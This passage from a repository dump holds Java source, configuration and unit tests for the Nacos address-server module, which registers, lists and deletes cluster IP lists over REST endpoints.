Constants.DEFAULT_NAMESPACE_ID);\n            instanceList.add(instance);\n        }\n        \n        return instanceList;\n    }\n    \n    private String[] generateIpAndPort(String ip) {\n        String[] result = InternetAddressUtil.splitIpPortStr(ip);\n        if (result.length != InternetAddressUtil.SPLIT_IP_PORT_RESULT_LENGTH) {\n            return new String[] {result[0], String.valueOf(AddressServerConstants.DEFAULT_SERVER_PORT)};\n        }\n        return result;\n    }\n    \n    /**\n     * Generate response ips.\n     *\n     * @param instanceList an instance set will generate string response to client.\n     * @return the result of response to client\n     */\n    public String generateResponseIps(List<com.alibaba.nacos.api.naming.pojo.Instance> instanceList) {\n        \n        StringBuilder ips = new StringBuilder();\n        instanceList.forEach(instance -> {\n            ips.append(instance.getIp()).append(':').append(instance.getPort());\n            ips.append('\\n');\n        });\n        \n        return ips.toString();\n    }\n    \n    /**\n     * Generate nacos service name.\n     *\n     * @param rawServiceName the raw service name will not contain the {@link Constants#DEFAULT_GROUP}.\n     * @return the nacos service name\n     */\n    public String generateNacosServiceName(String rawServiceName) {\n        \n        if (rawServiceName.contains(Constants.DEFAULT_GROUP)) {\n            return rawServiceName;\n        }\n        \n        return Constants.DEFAULT_GROUP + AddressServerConstants.GROUP_SERVICE_NAME_SEP + rawServiceName;\n    }\n}\n"
  },
  {
    "path": "address/src/main/java/com/alibaba/nacos/address/component/AddressServerManager.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.address.component;\n\nimport com.alibaba.nacos.address.constant.AddressServerConstants;\nimport com.alibaba.nacos.naming.misc.UtilsAndCommons;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport org.springframework.stereotype.Component;\n\n/**\n * This class holds the IP list of the CAI's address service.\n *\n * @author deshao\n * @date 2016/4/28 20:58\n * @since 1.1.0\n */\n@Component\npublic class AddressServerManager {\n    \n    public String getRawProductName(String name) {\n        \n        if (StringUtils.isBlank(name)) {\n            \n            return AddressServerConstants.DEFAULT_PRODUCT;\n        }\n        \n        return name;\n    }\n    \n    /**\n     * If the name is empty then return the default {@link UtilsAndCommons#DEFAULT_CLUSTER_NAME}, or return the source\n     * name by input.\n     *\n     * @param name name\n     * @return default cluster name\n     */\n    public String getDefaultClusterNameIfEmpty(String name) {\n        \n        if (StringUtils.isEmpty(name)) {\n            return AddressServerConstants.DEFAULT_GET_CLUSTER;\n        }\n        \n        return name;\n    }\n    \n    public String getRawClusterName(String name) {\n        \n        return getDefaultClusterNameIfEmpty(name);\n    }\n    \n    /**\n     * Split ips.\n     *\n     * @param ips multi ip will separator by the ','\n     * @return array of ip\n     */\n    public String[] splitIps(String ips) {\n        \n        if (StringUtils.isBlank(ips)) {\n            \n            return new String[0];\n        }\n        \n        return ips.split(AddressServerConstants.MULTI_IPS_SEPARATOR);\n    }\n}\n"
  },
  {
    "path": "address/src/main/java/com/alibaba/nacos/address/config/AddressServerSecurityConfiguration.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.address.config;\n\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.core.annotation.Order;\nimport org.springframework.security.config.Customizer;\nimport org.springframework.security.config.annotation.web.builders.HttpSecurity;\nimport org.springframework.security.config.annotation.web.configurers.AbstractHttpConfigurer;\nimport org.springframework.security.web.SecurityFilterChain;\n\n/**\n * nacos web security configuration.\n *\n * @author onewe\n */\n@Configuration\npublic class AddressServerSecurityConfiguration {\n    \n    @Bean\n    @Order(99)\n    public SecurityFilterChain addressServerSecurityFilterChain(HttpSecurity http) throws Exception {\n        http.authorizeHttpRequests(\n                requestMatcherRegistry -> requestMatcherRegistry\n                        .requestMatchers(\"/nacos/v1/as/**\").authenticated())\n                .csrf(AbstractHttpConfigurer::disable)\n                .httpBasic(Customizer.withDefaults());\n        return http.build();\n    }\n}\n"
  },
  {
    "path": "address/src/main/java/com/alibaba/nacos/address/constant/AddressServerConstants.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.address.constant;\n\nimport com.alibaba.nacos.naming.misc.UtilsAndCommons;\n\n/**\n * Uniform constant parameter naming for address servers and default values ​​for related parameters.\n *\n * @author pbting\n * @date 2019-06-17 7:23 PM\n * @since 1.1.0\n */\npublic interface AddressServerConstants {\n    \n    \n    /**\n     * the default server port when create the Instance object.\n     */\n    int DEFAULT_SERVER_PORT = 8848;\n    \n    /**\n     * when post ips is not given the product,then use the default.\n     */\n    String DEFAULT_PRODUCT = \"nacos\";\n    \n    /**\n     * the separator for service name between raw service name and group.\n     */\n    String GROUP_SERVICE_NAME_SEP = \"@@\";\n    \n    /**\n     * when post ips is not given the cluster,then use the default.\n     */\n    String DEFAULT_GET_CLUSTER = \"serverlist\";\n    \n    /**\n     * post multi ip will use the \",\" to separator.\n     */\n    String MULTI_IPS_SEPARATOR = \",\";\n    \n    /**\n     * the default product name when deploy nacos with naming and config.\n     */\n    String ALIWARE_NACOS_DEFAULT_PRODUCT_NAME = \"nacos.as.default\";\n    \n    /**\n     * when the config and naming will separate deploy,then must specify product name by the client.\n     */\n    String ALIWARE_NACOS_PRODUCT_DOM_TEMPLATE = \"nacos.as.%s\";\n    \n    /**\n     * the url for address server prefix.\n     */\n    String ADDRESS_SERVER_REQUEST_URL =\n            UtilsAndCommons.NACOS_SERVER_CONTEXT + UtilsAndCommons.NACOS_SERVER_VERSION + \"/as\";\n    \n}\n"
  },
  {
    "path": "address/src/main/java/com/alibaba/nacos/address/controller/AddressServerClusterController.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.address.controller;\n\nimport com.alibaba.nacos.address.component.AddressServerGeneratorManager;\nimport com.alibaba.nacos.address.component.AddressServerManager;\nimport com.alibaba.nacos.address.constant.AddressServerConstants;\nimport com.alibaba.nacos.address.misc.Loggers;\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.pojo.healthcheck.AbstractHealthChecker;\nimport com.alibaba.nacos.api.naming.utils.NamingUtils;\nimport com.alibaba.nacos.common.utils.InternetAddressUtil;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.naming.core.ClusterOperator;\nimport com.alibaba.nacos.naming.core.InstanceOperator;\nimport com.alibaba.nacos.naming.core.v2.ServiceManager;\nimport com.alibaba.nacos.naming.core.v2.metadata.ClusterMetadata;\nimport com.alibaba.nacos.naming.core.v2.metadata.NamingMetadataManager;\nimport com.alibaba.nacos.naming.core.v2.metadata.ServiceMetadata;\nimport com.alibaba.nacos.naming.core.v2.pojo.Service;\nimport org.springframework.http.HttpStatus;\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestMethod;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport java.util.List;\nimport java.util.Optional;\n\n/**\n * Address server cluster controller.\n *\n * @author pbting\n * @since 1.1.0\n */\n@RestController\n@RequestMapping({AddressServerConstants.ADDRESS_SERVER_REQUEST_URL + \"/nodes\"})\npublic class AddressServerClusterController {\n    \n    private final InstanceOperator instanceOperator;\n    \n    private final NamingMetadataManager metadataManager;\n    \n    private final ClusterOperator clusterOperator;\n    \n    private final AddressServerManager addressServerManager;\n    \n    private final AddressServerGeneratorManager addressServerGeneratorManager;\n    \n    public AddressServerClusterController(InstanceOperator instanceOperator, NamingMetadataManager metadataManager,\n            ClusterOperator clusterOperator, AddressServerManager addressServerManager,\n            AddressServerGeneratorManager addressServerGeneratorManager) {\n        this.instanceOperator = instanceOperator;\n        this.metadataManager = metadataManager;\n        this.clusterOperator = clusterOperator;\n        this.addressServerManager = addressServerManager;\n        this.addressServerGeneratorManager = addressServerGeneratorManager;\n    }\n    \n    \n    /**\n     * Create new cluster.\n     *\n     * @param product Ip list of products to be associated\n     * @param cluster Ip list of product cluster to be associated\n     * @param ips     will post ip list.\n     * @return result of create new cluster\n     */\n    @RequestMapping(value = \"\", method = RequestMethod.POST)\n    public ResponseEntity<String> postCluster(@RequestParam(required = false) String product,\n            @RequestParam(required = false) String cluster, @RequestParam(name = \"ips\") String ips) {\n        \n        //1. prepare the storage name for product and cluster\n        String productName = addressServerGeneratorManager.generateProductName(product);\n        String clusterName = addressServerManager.getDefaultClusterNameIfEmpty(cluster);\n        \n        //2. prepare the response name for product and cluster to client\n        String rawProductName = addressServerManager.getRawProductName(product);\n        String rawClusterName = addressServerManager.getRawClusterName(cluster);\n        Loggers.ADDRESS_LOGGER.info(\"put cluster node,the cluster name is \" + cluster + \"; the product name=\" + product\n                + \"; the ip list=\" + ips);\n        ResponseEntity<String> responseEntity;\n        try {\n            String serviceName = addressServerGeneratorManager.generateNacosServiceName(productName);\n            \n            Result result = registerCluster(serviceName, rawProductName, clusterName, ips);\n            if (InternetAddressUtil.checkOk(result.getCheckResult())) {\n                responseEntity = ResponseEntity\n                        .ok(\"product=\" + rawProductName + \",cluster=\" + rawClusterName + \"; put success with size=\"\n                                + result.getSize());\n            } else {\n                responseEntity = ResponseEntity.status(HttpStatus.BAD_REQUEST).body(result.getCheckResult());\n            }\n        } catch (Exception e) {\n            responseEntity = ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).body(e.getMessage());\n        }\n        \n        return responseEntity;\n    }\n    \n    private Result registerCluster(String serviceName, String productName, String clusterName, String ips)\n            throws NacosException {\n        String serviceWithoutGroup = NamingUtils.getServiceName(serviceName);\n        String groupName = NamingUtils.getGroupName(serviceName);\n        Service service = Service.newService(Constants.DEFAULT_NAMESPACE_ID, groupName, serviceWithoutGroup, false);\n        service = ServiceManager.getInstance().getSingleton(service);\n        if (service.isEphemeral()) {\n            return new Result(\n                    String.format(\"Service %s is ephemeral service, can't use as address server\", serviceName), 0);\n        }\n        ServiceMetadata serviceMetadata = metadataManager.getServiceMetadata(service).orElse(new ServiceMetadata());\n        if (!serviceMetadata.getClusters().containsKey(clusterName)) {\n            ClusterMetadata metadata = new ClusterMetadata();\n            metadata.setHealthyCheckType(AbstractHealthChecker.None.TYPE);\n            metadata.setHealthChecker(new AbstractHealthChecker.None());\n            clusterOperator.updateClusterMetadata(Constants.DEFAULT_NAMESPACE_ID, serviceName, clusterName, metadata);\n        }\n        String[] ipArray = addressServerManager.splitIps(ips);\n        String checkResult = InternetAddressUtil.checkIps(ipArray);\n        if (InternetAddressUtil.checkOk(checkResult)) {\n            List<Instance> instanceList = addressServerGeneratorManager\n                    .generateInstancesByIps(serviceName, productName, clusterName, ipArray);\n            for (Instance instance : instanceList) {\n                instanceOperator.registerInstance(Constants.DEFAULT_NAMESPACE_ID, serviceName, instance);\n            }\n        }\n        return new Result(checkResult, ipArray.length);\n    }\n    \n    /**\n     * Delete cluster.\n     *\n     * @param product Ip list of products to be associated\n     * @param cluster Ip list of product cluster to be associated\n     * @param ips     will delete ips.\n     * @return delete result (the cluster information is return if success, exception information is return if  fail)\n     */\n    @RequestMapping(value = \"\", method = RequestMethod.DELETE)\n    public ResponseEntity<String> deleteCluster(@RequestParam(required = false) String product,\n            @RequestParam(required = false) String cluster, @RequestParam String ips) {\n        //1. prepare the storage name for product and cluster\n        String productName = addressServerGeneratorManager.generateProductName(product);\n        String clusterName = addressServerManager.getDefaultClusterNameIfEmpty(cluster);\n        \n        //2. prepare the response name for product and cluster to client\n        String rawProductName = addressServerManager.getRawProductName(product);\n        String rawClusterName = addressServerManager.getRawClusterName(cluster);\n        ResponseEntity responseEntity = ResponseEntity.status(HttpStatus.OK)\n                .body(\"product=\" + rawProductName + \", cluster=\" + rawClusterName + \" delete success.\");\n        try {\n            \n            String serviceName = addressServerGeneratorManager.generateNacosServiceName(productName);\n            String serviceWithoutGroup = NamingUtils.getServiceName(serviceName);\n            String groupName = NamingUtils.getGroupName(serviceName);\n            Optional<com.alibaba.nacos.naming.core.v2.pojo.Service> service = com.alibaba.nacos.naming.core.v2.ServiceManager\n                    .getInstance().getSingletonIfExist(Constants.DEFAULT_NAMESPACE_ID, groupName, serviceWithoutGroup);\n            \n            if (!service.isPresent()) {\n                return ResponseEntity.status(HttpStatus.NOT_FOUND).body(\"product=\" + rawProductName + \" not found.\");\n            }\n            if (StringUtils.isBlank(ips)) {\n                // delete all ips from the cluster\n                return ResponseEntity.status(HttpStatus.BAD_REQUEST).body(\"ips must not be empty.\");\n            }\n            // delete specified ip list\n            String[] ipArray = addressServerManager.splitIps(ips);\n            String checkResult = InternetAddressUtil.checkIps(ipArray);\n            if (InternetAddressUtil.checkOk(checkResult)) {\n                List<Instance> instanceList = addressServerGeneratorManager\n                        .generateInstancesByIps(serviceName, rawProductName, clusterName, ipArray);\n                for (Instance each : instanceList) {\n                    instanceOperator.removeInstance(Constants.DEFAULT_NAMESPACE_ID, serviceName, each);\n                }\n            } else {\n                responseEntity = ResponseEntity.status(HttpStatus.BAD_REQUEST).body(checkResult);\n            }\n        } catch (Exception e) {\n            \n            responseEntity = ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).body(e.getCause());\n        }\n        \n        return responseEntity;\n    }\n    \n    private class Result {\n        \n        private final String checkResult;\n        \n        private final int size;\n        \n        public Result(String checkResult, int size) {\n            this.checkResult = checkResult;\n            this.size = size;\n        }\n        \n        public String getCheckResult() {\n            return checkResult;\n        }\n        \n        public int getSize() {\n            return size;\n        }\n    }\n}\n"
  },
  {
    "path": "address/src/main/java/com/alibaba/nacos/address/controller/ServerListController.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.address.controller;\n\nimport com.alibaba.nacos.address.component.AddressServerGeneratorManager;\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\nimport com.alibaba.nacos.api.naming.utils.NamingUtils;\nimport com.alibaba.nacos.naming.core.v2.ServiceManager;\nimport com.alibaba.nacos.naming.core.v2.index.ServiceStorage;\nimport com.alibaba.nacos.naming.core.v2.metadata.ClusterMetadata;\nimport com.alibaba.nacos.naming.core.v2.metadata.NamingMetadataManager;\nimport com.alibaba.nacos.naming.core.v2.metadata.ServiceMetadata;\nimport com.alibaba.nacos.naming.core.v2.pojo.Service;\nimport com.alibaba.nacos.naming.utils.ServiceUtil;\nimport org.springframework.http.HttpStatus;\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.web.bind.annotation.PathVariable;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestMethod;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport java.util.Optional;\n\n/**\n * Server list controller.\n *\n * @author pbting\n * @since 1.1.0\n */\n@RestController\npublic class ServerListController {\n    \n    private final AddressServerGeneratorManager addressServerBuilderManager;\n    \n    private final NamingMetadataManager metadataManager;\n    \n    private final ServiceStorage serviceStorage;\n    \n    public ServerListController(AddressServerGeneratorManager addressServerBuilderManager,\n            NamingMetadataManager metadataManager, ServiceStorage serviceStorage) {\n        this.addressServerBuilderManager = addressServerBuilderManager;\n        this.metadataManager = metadataManager;\n        this.serviceStorage = serviceStorage;\n    }\n    \n    /**\n     * Get cluster.\n     *\n     * @param product will get Ip list of that products to be associated\n     * @param cluster will get Ip list of that product cluster to be associated\n     * @return result of get\n     */\n    @RequestMapping(value = \"/{product}/{cluster}\", method = RequestMethod.GET)\n    public ResponseEntity<String> getCluster(@PathVariable String product, @PathVariable String cluster) {\n        \n        String productName = addressServerBuilderManager.generateProductName(product);\n        String serviceName = addressServerBuilderManager.generateNacosServiceName(productName);\n        String serviceWithoutGroup = NamingUtils.getServiceName(serviceName);\n        String groupName = NamingUtils.getGroupName(serviceName);\n        Optional<Service> service = ServiceManager.getInstance()\n                .getSingletonIfExist(Constants.DEFAULT_NAMESPACE_ID, groupName, serviceWithoutGroup);\n        if (!service.isPresent()) {\n            return ResponseEntity.status(HttpStatus.NOT_FOUND).body(\"product=\" + product + \" not found.\");\n        }\n        ClusterMetadata metadata = metadataManager.getServiceMetadata(service.get()).orElse(new ServiceMetadata())\n                .getClusters().get(cluster);\n        if (null == metadata) {\n            return ResponseEntity.status(HttpStatus.NOT_FOUND)\n                    .body(\"product=\" + product + \",cluster=\" + cluster + \" not found.\");\n        }\n        ServiceInfo serviceInfo = serviceStorage.getData(service.get());\n        serviceInfo = ServiceUtil.selectInstances(serviceInfo, cluster, false);\n        return ResponseEntity.status(HttpStatus.OK)\n                .body(addressServerBuilderManager.generateResponseIps(serviceInfo.getHosts()));\n    }\n}\n"
  },
  {
    "path": "address/src/main/java/com/alibaba/nacos/address/misc/Loggers.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.address.misc;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n/**\n * Loggers holder.\n *\n * @author pbting\n * @date 2019-07-04 4:34 PM\n */\npublic class Loggers {\n    \n    public static final Logger ADDRESS_LOGGER = LoggerFactory.getLogger(\"com.alibaba.nacos.address.main\");\n}\n"
  },
  {
    "path": "address/src/main/resources/META-INF/logback/nacos-included.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n  ~ Copyright 1999-2018 Alibaba Group Holding Ltd.\n  ~\n  ~ Licensed under the Apache License, Version 2.0 (the \"License\");\n  ~ you may not use this file except in compliance with the License.\n  ~ You may obtain a copy of the License at\n  ~\n  ~      http://www.apache.org/licenses/LICENSE-2.0\n  ~\n  ~ Unless required by applicable law or agreed to in writing, software\n  ~ distributed under the License is distributed on an \"AS IS\" BASIS,\n  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  ~ See the License for the specific language governing permissions and\n  ~ limitations under the License.\n  -->\n\n<included>\n    \n    <springProperty scope=\"context\" name=\"logPath\" source=\"nacos.logs.path\" defaultValue=\"${user.home}/nacos/logs\"/>\n    <property name=\"LOG_HOME\" value=\"${logPath}\"/>\n    \n    <appender name=\"nacos-address\"\n        class=\"ch.qos.logback.core.rolling.RollingFileAppender\">\n        <file>${LOG_HOME}/nacos-address.log</file>\n        <append>true</append>\n        <rollingPolicy class=\"ch.qos.logback.core.rolling.SizeAndTimeBasedRollingPolicy\">\n            <fileNamePattern>${LOG_HOME}/nacos-address.log.%d{yyyy-MM-dd}.%i</fileNamePattern>\n            <maxFileSize>2GB</maxFileSize>\n            <maxHistory>15</maxHistory>\n            <totalSizeCap>7GB</totalSizeCap>\n            <cleanHistoryOnStart>true</cleanHistoryOnStart>\n        </rollingPolicy>\n        <encoder>\n            <Pattern>%date %level %msg%n%n</Pattern>\n            <charset>UTF-8</charset>\n        </encoder>\n    </appender>\n    \n    <logger name=\"com.alibaba.nacos.address.main\" additivity=\"false\" level=\"INFO\">\n        <appender-ref ref=\"nacos-address\"/>\n    </logger>\n</included>\n\n"
  },
  {
    "path": "address/src/main/resources/META-INF/nacos-default.properties",
    "content": "#\n# Copyright 1999-2018 Alibaba Group Holding Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\n"
  },
  {
    "path": "address/src/main/resources/application.properties",
    "content": "#\n# Copyright 1999-2018 Alibaba Group Holding Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nserver.port=8080\nserver.servlet.context-path=/\n"
  },
  {
    "path": "address/src/test/java/com/alibaba/nacos/address/component/AddressServerGeneratorManagerTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.address.component;\n\nimport com.alibaba.nacos.address.constant.AddressServerConstants;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass AddressServerGeneratorManagerTest {\n\n    @Test\n    void testGenerateProductName() {\n        AddressServerGeneratorManager manager = new AddressServerGeneratorManager();\n        final String blankName = manager.generateProductName(\"\");\n        assertEquals(AddressServerConstants.ALIWARE_NACOS_DEFAULT_PRODUCT_NAME, blankName);\n    \n        final String defaultName = manager.generateProductName(AddressServerConstants.DEFAULT_PRODUCT);\n        assertEquals(AddressServerConstants.ALIWARE_NACOS_DEFAULT_PRODUCT_NAME, defaultName);\n    \n        final String testName = manager.generateProductName(\"test\");\n        assertEquals(\"nacos.as.test\", testName);\n    \n    }\n\n    @Test\n    void testGenerateInstancesByIps() {\n        AddressServerGeneratorManager manager = new AddressServerGeneratorManager();\n        final List<Instance> empty = manager.generateInstancesByIps(null, null, null, null);\n        assertNotNull(empty);\n        assertTrue(empty.isEmpty());\n    \n        String[] ipArray = new String[]{\"192.168.3.1:8848\", \"192.168.3.2:8848\", \"192.168.3.3:8848\"};\n        final List<Instance> instanceList = manager.generateInstancesByIps(\"DEFAULT_GROUP@@nacos.as.test\", \"test\", \"test\",\n                ipArray);\n        assertNotNull(instanceList);\n        assertFalse(instanceList.isEmpty());\n        assertEquals(3, instanceList.size());\n    \n        final Instance instance1 = instanceList.get(0);\n        assertEquals(\"192.168.3.1\", instance1.getIp());\n    \n        final Instance instance2 = instanceList.get(1);\n        assertEquals(\"192.168.3.2\", instance2.getIp());\n    \n        final Instance instance3 = instanceList.get(2);\n        assertEquals(\"192.168.3.3\", instance3.getIp());\n    \n    }\n\n    @Test\n    void testGenerateResponseIps() {\n        final List<com.alibaba.nacos.api.naming.pojo.Instance> instanceList = new ArrayList<>();\n        Instance instance1 = new Instance();\n        instance1.setIp(\"192.168.3.1\");\n        instance1.setPort(8848);\n    \n        Instance instance2 = new Instance();\n        instance2.setIp(\"192.168.3.2\");\n        instance2.setPort(8848);\n        \n        Instance instance3 = new Instance();\n        instance3.setIp(\"192.168.3.3\");\n        instance3.setPort(8848);\n    \n        instanceList.add(instance1);\n        instanceList.add(instance2);\n        instanceList.add(instance3);\n        \n        AddressServerGeneratorManager manager = new AddressServerGeneratorManager();\n        final String ipListStr = manager.generateResponseIps(instanceList);\n        \n        StringBuilder expectStr = new StringBuilder();\n        final StringBuilder ret = expectStr\n                .append(\"192.168.3.1:8848\").append('\\n')\n                .append(\"192.168.3.2:8848\").append('\\n')\n                .append(\"192.168.3.3:8848\").append('\\n');\n        assertEquals(ret.toString(), ipListStr);\n    \n    }\n\n    @Test\n    void testGenerateNacosServiceName() {\n        AddressServerGeneratorManager manager = new AddressServerGeneratorManager();\n    \n        final String containDefault = manager.generateNacosServiceName(\"DEFAULT_GROUP@@test\");\n        assertEquals(\"DEFAULT_GROUP@@test\", containDefault);\n    \n        final String product = manager.generateNacosServiceName(\"product\");\n        assertEquals(\"DEFAULT_GROUP@@product\", product);\n    }\n    \n}\n"
  },
  {
    "path": "address/src/test/java/com/alibaba/nacos/address/component/AddressServerManagerTests.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.address.component;\n\nimport com.alibaba.nacos.address.constant.AddressServerConstants;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass AddressServerManagerTests {\n    \n    private static final AddressServerManager ADDRESS_SERVER_MANAGER = new AddressServerManager();\n\n    @Test\n    void getRawProductName() {\n        assertEquals(AddressServerConstants.DEFAULT_PRODUCT, ADDRESS_SERVER_MANAGER.getRawProductName(\"\"));\n        assertEquals(AddressServerConstants.DEFAULT_PRODUCT,\n                ADDRESS_SERVER_MANAGER.getRawProductName(AddressServerConstants.DEFAULT_PRODUCT));\n        assertEquals(\"otherProduct\", ADDRESS_SERVER_MANAGER.getRawProductName(\"otherProduct\"));\n    }\n\n    @Test\n    void getDefaultClusterNameIfEmpty() {\n        assertEquals(AddressServerConstants.DEFAULT_GET_CLUSTER, ADDRESS_SERVER_MANAGER.getDefaultClusterNameIfEmpty(\"\"));\n        assertEquals(AddressServerConstants.DEFAULT_GET_CLUSTER,\n                ADDRESS_SERVER_MANAGER.getDefaultClusterNameIfEmpty(AddressServerConstants.DEFAULT_GET_CLUSTER));\n        assertEquals(\"otherServerList\", ADDRESS_SERVER_MANAGER.getDefaultClusterNameIfEmpty(\"otherServerList\"));\n    }\n\n    @Test\n    void testGetRawClusterName() {\n        assertEquals(\"serverList\", ADDRESS_SERVER_MANAGER.getRawClusterName(\"serverList\"));\n        assertEquals(AddressServerConstants.DEFAULT_GET_CLUSTER, ADDRESS_SERVER_MANAGER.getRawClusterName(\"\"));\n    }\n\n    @Test\n    void testSplitIps() {\n        final String[] emptyArr = ADDRESS_SERVER_MANAGER.splitIps(\"\");\n        assertEquals(0, emptyArr.length);\n        final String[] one = ADDRESS_SERVER_MANAGER.splitIps(\"192.168.1.12:8848\");\n        assertEquals(1, one.length);\n        assertEquals(\"192.168.1.12:8848\", one[0]);\n        final String[] two = ADDRESS_SERVER_MANAGER.splitIps(\"192.168.1.12:8848,192.268.3.33:8848\");\n        assertEquals(2, two.length);\n        assertEquals(\"192.168.1.12:8848\", two[0]);\n        assertEquals(\"192.268.3.33:8848\", two[1]);\n    }\n    \n}\n"
  },
  {
    "path": "address/src/test/java/com/alibaba/nacos/address/controller/AddressServerClusterControllerTest.java",
